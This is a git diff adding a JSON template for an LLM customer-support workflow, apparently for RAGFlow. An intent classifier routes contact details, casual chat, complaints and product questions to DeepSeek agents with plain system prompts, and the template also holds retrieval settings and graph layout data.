HNvNOpt2HD+Tlrzl9j8jAFgkLZfiiivriONZVHnfVPAMj8X5iisyDMZzCyNn6g55+Qfbdj5BbtpwljhN6bQy2aica2/H1NJSSrBx2UHNm78Q/UR9R6j7mj2vDpsffZC2TC18Ze1aiuse6WY5JSBBjtNsn7eXvvSlWzGltFJ6QUaCcLmj4RE2EaA6QF7hWsBhJVFLQruRyUPODcVefLmJLZfMm7NRnr383nuFNCl8zzStBtWIC4LNPBJ+TE4aOOYZ83upgfnfp/9LxvOD3/lPNO//EGdamuVWUIg2Po42HZND39Wrb0ZN7VzZoHNFF5rjZG1cC+iiRclNz/L6rIAl1AAAWgnllczhKMRvNHJCyy6pqRnw7q1bd3thKhV6mBBgg0XbQx99/DFW37QKjZ98imFKytNnzmCUIHfDA/cTXM7A2TPnsO/X7+OKxVeijbx1obcLN6y8EfULGoiO8G6KOxpQ/8uCq0TW/9ShGxcWPECNPu9asjFMt9LD7QcMj63SsltEJPQwC++LrMxRTQep+DBxnYuHYyMNSUowhrVZc2qJvyRkbrB38goK0EzbTMuvX4a6+nrMmlevZ0K2ohtacMN9iQ4Nf4PuCseU3ApaEsaZjvCY3vB7TBhtVLhesU3n//+kru59v7y/A0gLPej8hyFRAAAAAElFTkSuQmCC"
+}
diff --git a/agent/templates/customer_support.json b/agent/templates/customer_support.json
new file mode 100644
index 0000000..34280e0
--- /dev/null
+++ b/agent/templates/customer_support.json
@@ -0,0 +1,885 @@
+
+{
+ "id": 10,
+ "title": {
+ "en":"Customer Support",
+ "zh": "客户支持"},
+ "description": {
+ "en": "This is an intelligent customer service processing system workflow based on user intent classification. It uses LLM to identify user demand types and transfers them to the corresponding professional agent for processing.",
+ "zh": "工作流系统,用于智能客服场景。基于用户意图分类。使用大模型识别用户需求类型,并将需求转移给相应的智能体进行处理。"},
+ "canvas_type": "Customer Support",
+ "dsl": {
+ "components": {
+ "Agent:DullTownsHope": {
+ "downstream": [
+ "Message:GreatDucksArgue"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Categorize:DullFriendsThank"
+ ]
+ },
+ "Agent:KhakiSunsJudge": {
+ "downstream": [
+ "Message:GreatDucksArgue"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}\n\nThe relevant document are {Retrieval:ShyPumasJoke@formalized_content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a highly professional product information advisor. \n\nYour only mission is to provide accurate, factual, and structured answers to all product-related queries.\n\nAbsolutely no assumptions, guesses, or fabricated content are allowed. \n\n**Key Principles:**\n\n1. **Strict Database Reliance:** \n\n - Every answer must be based solely on the verified product information stored in the relevant documen.\n\n - You are NOT allowed to invent, speculate, or infer details beyond what is retrieved. \n\n - If you cannot find relevant data, respond with: *\"I cannot find this information in our official product database. Please check back later or provide more details for further search.\"*\n\n2. **Information Accuracy and Structure:** \n\n - Provide information in a clear, concise, and professional way. \n\n - Use bullet points or numbered lists if there are multiple key points (e.g., features, price, warranty, technical specifications). \n\n - Always specify the version or model number when applicable to avoid confusion.\n\n3. **Tone and Style:** \n\n - Maintain a polite, professional, and helpful tone at all times. \n\n - Avoid marketing exaggeration or promotional language; stay strictly factual. \n\n - Do not express personal opinions; only cite official product data.\n\n4. **User Guidance:** \n\n - If the user\u2019s query is unclear or too broad, politely request clarification or guide them to provide more specific product details (e.g., product name, model, version). \n\n - Example: *\"Could you please specify the product model or category so I can retrieve the most relevant information for you?\"*\n\n5. **Response Length and Formatting:** \n\n - Keep each answer within 100\u2013150 words for general queries. \n\n - For complex or multi-step explanations, you may extend to 200\u2013250 words, but always remain clear and well-structured.\n\n6. **Critical Reminder:** \n\nYour authority and reliability depend entirely on the relevant document responses. Any fabricated, speculative, or unverified content will be considered a critical failure of your role.\n\n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Retrieval:ShyPumasJoke"
+ ]
+ },
+ "Agent:TwelveOwlsWatch": {
+ "downstream": [
+ "Message:GreatDucksArgue"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "Categorize:DullFriendsThank"
+ ]
+ },
+ "Categorize:DullFriendsThank": {
+ "downstream": [
+ "Message:BreezyDonutsHeal",
+ "Agent:TwelveOwlsWatch",
+ "Agent:DullTownsHope",
+ "Retrieval:ShyPumasJoke"
+ ],
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "category_description": {
+ "1. contact": {
+ "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.",
+ "examples": [
+ "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384\n13212123432\n8379829"
+ ],
+ "to": [
+ "Message:BreezyDonutsHeal"
+ ]
+ },
+ "2. casual": {
+ "description": "The question is not about the product usage, appearance and how it works. Just casual chat.",
+ "examples": [
+ "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?"
+ ],
+ "to": [
+ "Agent:TwelveOwlsWatch"
+ ]
+ },
+ "3. complain": {
+ "description": "Complain even curse about the product or service you provide. But the comment is not specific enough.",
+ "examples": [
+ "How bad is it.\nIt's really sucks.\nDamn, for God's sake, can it be more steady?\nShit, I just can't use this shit.\nI can't stand it anymore."
+ ],
+ "to": [
+ "Agent:DullTownsHope"
+ ]
+ },
+ "4. product related": {
+ "description": "The question is about the product usage, appearance and how it works.",
+ "examples": [
+ "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?\nException: Can't connect to ES cluster\nHow to build the RAGFlow image from scratch"
+ ],
+ "to": [
+ "Retrieval:ShyPumasJoke"
+ ]
+ }
+ },
+ "llm_id": "deepseek-chat@DeepSeek",
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "query": "sys.query",
+ "temperature": "0.1"
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:BreezyDonutsHeal": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "Okay, I've already write this down. What else I can do for you?",
+ "Get it. What else I can do for you?",
+ "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?",
+ "Thanks! So, anything else I can do for you?"
+ ]
+ }
+ },
+ "upstream": [
+ "Categorize:DullFriendsThank"
+ ]
+ },
+ "Message:GreatDucksArgue": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:TwelveOwlsWatch@content}{Agent:DullTownsHope@content}{Agent:KhakiSunsJudge@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:TwelveOwlsWatch",
+ "Agent:DullTownsHope",
+ "Agent:KhakiSunsJudge"
+ ]
+ },
+ "Retrieval:ShyPumasJoke": {
+ "downstream": [
+ "Agent:KhakiSunsJudge"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "sys.query",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "Categorize:DullFriendsThank"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Categorize:DullFriendsThank"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm an official AI customer service representative. How can I help you?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Categorize:DullFriendsThankend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Categorize:DullFriendsThank",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:DullFriendsThanke4d754a5-a33e-4096-8648-8688e5474a15-Message:BreezyDonutsHealend",
+ "source": "Categorize:DullFriendsThank",
+ "sourceHandle": "e4d754a5-a33e-4096-8648-8688e5474a15",
+ "target": "Message:BreezyDonutsHeal",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:DullFriendsThank8cbf6ea3-a176-490d-9f8c-86373c932583-Agent:TwelveOwlsWatchend",
+ "source": "Categorize:DullFriendsThank",
+ "sourceHandle": "8cbf6ea3-a176-490d-9f8c-86373c932583",
+ "target": "Agent:TwelveOwlsWatch",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:DullFriendsThankacc40a78-1b9e-4d2f-b5d6-64e01ab69269-Agent:DullTownsHopeend",
+ "source": "Categorize:DullFriendsThank",
+ "sourceHandle": "acc40a78-1b9e-4d2f-b5d6-64e01ab69269",
+ "target": "Agent:DullTownsHope",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:DullFriendsThankdfa5eead-9341-4f22-9236-068dbfb745e8-Retrieval:ShyPumasJokeend",
+ "source": "Categorize:DullFriendsThank",
+ "sourceHandle": "dfa5eead-9341-4f22-9236-068dbfb745e8",
+ "target": "Retrieval:ShyPumasJoke",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:ShyPumasJokestart-Agent:KhakiSunsJudgeend",
+ "source": "Retrieval:ShyPumasJoke",
+ "sourceHandle": "start",
+ "target": "Agent:KhakiSunsJudge",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:TwelveOwlsWatchstart-Message:GreatDucksArgueend",
+ "source": "Agent:TwelveOwlsWatch",
+ "sourceHandle": "start",
+ "target": "Message:GreatDucksArgue",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:DullTownsHopestart-Message:GreatDucksArgueend",
+ "markerEnd": "logo",
+ "source": "Agent:DullTownsHope",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:GreatDucksArgue",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:KhakiSunsJudgestart-Message:GreatDucksArgueend",
+ "markerEnd": "logo",
+ "source": "Agent:KhakiSunsJudge",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:GreatDucksArgue",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm an official AI customer service representative. How can I help you?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "items": [
+ {
+ "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.",
+ "examples": [
+ {
+ "value": "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384\n13212123432\n8379829"
+ }
+ ],
+ "name": "1. contact",
+ "uuid": "e4d754a5-a33e-4096-8648-8688e5474a15"
+ },
+ {
+ "description": "The question is not about the product usage, appearance and how it works. Just casual chat.",
+ "examples": [
+ {
+ "value": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?"
+ }
+ ],
+ "name": "2. casual",
+ "uuid": "8cbf6ea3-a176-490d-9f8c-86373c932583"
+ },
+ {
+ "description": "Complain even curse about the product or service you provide. But the comment is not specific enough.",
+ "examples": [
+ {
+ "value": "How bad is it.\nIt's really sucks.\nDamn, for God's sake, can it be more steady?\nShit, I just can't use this shit.\nI can't stand it anymore."
+ }
+ ],
+ "name": "3. complain",
+ "uuid": "acc40a78-1b9e-4d2f-b5d6-64e01ab69269"
+ },
+ {
+ "description": "The question is about the product usage, appearance and how it works.",
+ "examples": [
+ {
+ "value": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?\nException: Can't connect to ES cluster\nHow to build the RAGFlow image from scratch"
+ }
+ ],
+ "name": "4. product related",
+ "uuid": "dfa5eead-9341-4f22-9236-068dbfb745e8"
+ }
+ ],
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_tokens": 4096,
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "query": "sys.query",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "topPEnabled": false,
+ "top_p": 0.75
+ },
+ "label": "Categorize",
+ "name": "Categorize"
+ },
+ "dragging": false,
+ "id": "Categorize:DullFriendsThank",
+ "measured": {
+ "height": 204,
+ "width": 200
+ },
+ "position": {
+ "x": 377.1140727959881,
+ "y": 138.1799140251472
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "categorizeNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "Okay, I've already write this down. What else I can do for you?",
+ "Get it. What else I can do for you?",
+ "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?",
+ "Thanks! So, anything else I can do for you?"
+ ]
+ },
+ "label": "Message",
+ "name": "What else?"
+ },
+ "dragging": false,
+ "id": "Message:BreezyDonutsHeal",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 724.8348409169271,
+ "y": 60.09138437270154
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Causal chat"
+ },
+ "dragging": false,
+ "id": "Agent:TwelveOwlsWatch",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 720.4965892695689,
+ "y": 167.46311264481432
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Soothe mood"
+ },
+ "dragging": false,
+ "id": "Agent:DullTownsHope",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 722.665715093248,
+ "y": 281.3422183879642
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "sys.query",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Search product info"
+ },
+ "dragging": false,
+ "id": "Retrieval:ShyPumasJoke",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 645.6873721057459,
+ "y": 516.6923702571407
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 5,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}\n\nThe relevant document are {Retrieval:ShyPumasJoke@formalized_content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a highly professional product information advisor. \n\nYour only mission is to provide accurate, factual, and structured answers to all product-related queries.\n\nAbsolutely no assumptions, guesses, or fabricated content are allowed. \n\n**Key Principles:**\n\n1. **Strict Database Reliance:** \n\n - Every answer must be based solely on the verified product information stored in the relevant documen.\n\n - You are NOT allowed to invent, speculate, or infer details beyond what is retrieved. \n\n - If you cannot find relevant data, respond with: *\"I cannot find this information in our official product database. Please check back later or provide more details for further search.\"*\n\n2. **Information Accuracy and Structure:** \n\n - Provide information in a clear, concise, and professional way. \n\n - Use bullet points or numbered lists if there are multiple key points (e.g., features, price, warranty, technical specifications). \n\n - Always specify the version or model number when applicable to avoid confusion.\n\n3. **Tone and Style:** \n\n - Maintain a polite, professional, and helpful tone at all times. \n\n - Avoid marketing exaggeration or promotional language; stay strictly factual. \n\n - Do not express personal opinions; only cite official product data.\n\n4. **User Guidance:** \n\n - If the user\u2019s query is unclear or too broad, politely request clarification or guide them to provide more specific product details (e.g., product name, model, version). \n\n - Example: *\"Could you please specify the product model or category so I can retrieve the most relevant information for you?\"*\n\n5. **Response Length and Formatting:** \n\n - Keep each answer within 100\u2013150 words for general queries. \n\n - For complex or multi-step explanations, you may extend to 200\u2013250 words, but always remain clear and well-structured.\n\n6. **Critical Reminder:** \n\nYour authority and reliability depend entirely on the relevant document responses. Any fabricated, speculative, or unverified content will be considered a critical failure of your role.\n\n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Product info"
+ },
+ "dragging": false,
+ "id": "Agent:KhakiSunsJudge",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 726.580040161058,
+ "y": 386.5448208363979
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:TwelveOwlsWatch@content}{Agent:DullTownsHope@content}{Agent:KhakiSunsJudge@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:GreatDucksArgue",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1073.6401719497055,
+ "y": 279.1730925642852
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This is an intelligent customer service processing system workflow based on user intent classification. It uses LLM to identify user demand types and transfers them to the corresponding professional agent for processing."
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 171,
+ "id": "Note:AllGuestsShow",
+ "measured": {
+ "height": 171,
+ "width": 380
+ },
+ "position": {
+ "x": -283.6407251474677,
+ "y": 157.2943019466498
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 380
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Here, product document snippets related to the user's question will be retrieved from the knowledge base first, and the relevant document snippets will be passed to the LLM together with the user's question."
+ },
+ "label": "Note",
+ "name": "Product info Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 154,
+ "id": "Note:IcyBooksCough",
+ "measured": {
+ "height": 154,
+ "width": 370
+ },
+ "position": {
+ "x": 1014.0959071234828,
+ "y": 492.830874176321
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 370
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Here, a text will be randomly selected for answering"
+ },
+ "label": "Note",
+ "name": "What else\uff1f"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:AllThingsHide",
+ "measured": {
+ "height": 136,
+ "width": 249
+ },
+ "position": {
+ "x": 770.7060131788647,
+ "y": -123.23496705283817
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAABJJSURBVHgBjVoJdB3Vef7mzrxNy9NiS9Zi2RLyJss2Yik2ZrWNwW5YXdo6JKWOk0M5OW3tUjg9Dm3Z2iTHNA0uxOUQSmPHAZuGUDaDIQESQoyJF4HxItnW4k2StUtPT9JbZvL/996ZN0+CJMN5fpqZN3f+9fu//78YmHCcaO243hHGbTac2wVENV8zDAPqW/4L/zU+NdQ/cOg/07RRWlyE1HgSz+/aido5c3H+/HkYQqBiWjlmzapBZVkZUskUhmJxuQQ/5x5yXXdN93CcRjhGY1qkHykvKmrzy+v9qrW1tTBpRh5yHGejuiHk0krQLxDavUPXHdtGVfkU7GtsxJbvPwErnIPainIcbz6Orp4LuGrJVWg7cxptbe3o7evDtddehwf/6QFMr6hA78AghBDZSvjfJ3VQSgpHPBETqUdqiooGvPez8OMi+B6dNRiOqR50bDo1PRX9i2UUoUVtIBwOwbYTWHvXWgz2DWHj/f+IRYsa8NJPtqFqTh2KSkpRO6MKixfVwaZHkmkbjYcP49HH/g2mZeKF7dsxOp5AKpWaJLz/vT5FGuOGvYyVkGonzcBDZNEGYVvKsg4/SLfERD9NOBwD4ZwIWk6fwlwKjfVf/xvs3fch7v7LO8nSrcjJz6d1LCTGxnDkeBN+/PLrGOXQGY7hopqL8PKLu/DE5s1YSt44eeoEcnLCnqW/6NAKNeTa4iF5fqy1o9qw7FbDNtk/MGzh09rR4SJ8K/jik77SyVEsmDcbjUebUVpaguHhIRQXFmLbT3ZhbKgfucWliETCXqiNJxO4409vQkBY5IkUecRGWXEhvvr1e3DnX9yJG0iZkdEx/D4vuJ6IpxPLhAjYD0mBpPCGsrrhTBbWk9/wFqiumIKrr1yMfYc+QUF+EQaH4hTLBniZ/p5umIGgjO10Oi2f5GciwRB+9tpb6OztRk4kQq8T6Ojpx7YfPo3XX3sDnx09Css0vXf4vycpkxYENI7RoEFECm/o0GAlDEdgcvyoxfLzc/Hvj38fa79yN2qqZmIskdBpD8QpnuMjIxq1HJaAckT9zbrk5uTig737sf+zI3IdVrq7bxA/fGoLvvXP/4q8nNDnC8+xYPqTHbcZTWc6HCW78ARXMhpSW/eSuq6usUWLCnJw2eWX4eCBAxgYGpOWZoHJo4jFxrHjuWdRUlaBSH4BWVRIGBUECo6RhilCdM7K2CgsimL5NVdiPD5OSqYRi49gx4934L6NGymxx7MRj17ASW/Tcyn67VgirYPbxXd/6PiAxhXetUhJyVR8+/HvYfnyZQhQSLAFleMcWJS0XRcuIBgMwDADMsZZePaCIxcjpztpBjkErAB5agyvvvVzigY6DwRQXVmBlrY2Cq+QZ3X/YZMrpVccZWipAGGrtIzjST9BISd7kY7OTrz7zh5cc90yDAzGswqRFbDofgcpEJR/ywiyZUXRa6mwVDIoIUxYeOcXv0JvbIiSPIVFFy8iJdqz3unGvkM4zB9bv1Mo+eyMI/iGbahrzuTs5yuWJehjYvXqWxR2u8LRc6YIorujE8FQGOmUDSFR2VZhyd4wOB/4xNaXbPlXMBjGR/sO4XjbaVzS0ICDVBBNYXrGYWXlh39P66RtJ